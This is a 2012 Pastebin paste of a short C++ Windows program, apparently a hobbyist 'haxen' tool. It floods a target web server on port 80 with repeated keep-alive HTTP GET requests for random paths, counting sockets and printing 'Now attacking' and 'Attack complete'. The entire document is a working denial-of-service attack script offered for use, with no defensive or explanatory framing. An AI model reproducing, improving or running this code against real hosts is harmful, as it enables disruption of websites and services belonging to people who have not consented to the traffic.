Advertisement
HyperionSRC

httpoi - l33b haxen

Dec 2nd, 2012
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.83 KB | None | 0 0
  1. #include <iostream>
  2. #include <stdio.h>
  3. #include <string>
  4. #include <WinSock2.h>
  5. #include <sstream>
  6. #include <windows.h>
  7.  
  8. #pragma comment(lib, "ws2_32.lib")
  9.  
  10. using namespace std;
  11.  
  12. string convertInt(int number)
  13. {
  14.    stringstream sStream;
  15.    sStream << number;
  16.    return sStream.str();
  17. }
  18.  
  19. string Req = "";
  20. int main(int argc, char* argv[])
  21. {
  22.     string progname = (string)argv[0];
  23.     string Host     = (string)argv[1];
  24.     int    WaitMS   = atoi(argv[2]);
  25.     if(WaitMS == 0)
  26.     {
  27.         WaitMS = 99999;
  28.     }
  29.     if(Host == "")
  30.     {
  31.         printf("Arguments: %s <host> <# Of sockets>\n", argv[0]);
  32.         return 1;
  33.     }
  34.     printf("[+] Connected to:  %s\n", argv[1]);
  35.     printf("[+] Now attacking: %s\n", argv[1]);
  36.     int rCounter = 0;
  37.     int rRand = rand() % 99999999999999;
  38.     while(true)
  39.     {
  40.         WSADATA wsaData;
  41.  
  42.         if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
  43.         {
  44.             printf("[-] WSAStartup failed.\n");
  45.             return 1;
  46.         }
  47.  
  48.         SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  49.  
  50.         struct hostent *host;
  51.         host = gethostbyname(Host.c_str());
  52.  
  53.         SOCKADDR_IN SockAddr;
  54.         SockAddr.sin_port=htons(80);
  55.         SockAddr.sin_family=AF_INET;
  56.         SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
  57.         if(connect(Socket,(SOCKADDR*)(&SockAddr),sizeof(SockAddr)) != 0)
  58.         {
  59.             printf("[-] Host offline or socket failed, Retrying!\n");
  60.         }
  61.         else
  62.         {
  63.             printf("[+] Built Socket: #%i To: %s\n", rCounter, argv[1]);
  64.         }
  65.         Req = "";
  66.         Req.append("GET /");
  67.         Req.append(convertInt(rRand));
  68.         Req.append(" HTTP/1.1\r\nHost: ");
  69.         Req.append(Host);
  70.         Req.append("\r\nConnection: keep-alive\r\n\r\n");
  71.         send(Socket, Req.c_str(), strlen(Req.c_str()), 0);
  72.         rRand = rand() % 99999999999999;
  73.         rCounter++;
  74.         if(rCounter == WaitMS)
  75.         {
  76.             printf("\n[+] Sockets built/Attack complete.\n");
  77.             while(true)
  78.             {
  79.  
  80.             }
  81.         }
  82.     }
  83.         WSACleanup();
  84.     return 0;
  85. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement